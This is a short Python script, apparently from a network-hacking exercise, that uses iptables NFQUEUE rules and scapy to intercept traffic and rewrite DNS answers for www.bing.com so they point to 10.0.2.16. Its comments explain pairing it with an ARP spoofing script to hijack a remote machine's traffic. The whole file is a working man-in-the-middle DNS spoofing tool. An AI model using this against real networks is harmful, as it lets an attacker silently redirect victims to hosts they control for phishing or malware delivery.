#!/usr/bin/env python

# Run from the Linux machine with netfilterqueue python module
# Run the linux command first to capture local input and output traffic -
# iptables -I INPUT -j NFQUEUE --queue-num 0
# iptables -I OUTPUT -j NFQUEUE --queue-num 0
# Run the linux command if the target is a remote machine
# iptables -I FORWARD -j NFQUEUE ---queue-num 0
# Also run the arp_spoof.py for remote machine
# When done, run - iptables --flush


import netfilterqueue
import scapy.all as scapy


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if "www.bing.com" in qname:
            print("[+] Sppofing target")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.16")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet))

    packet.accept()     # forwards the packet instead of dropping which is default behavior

queue =  netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

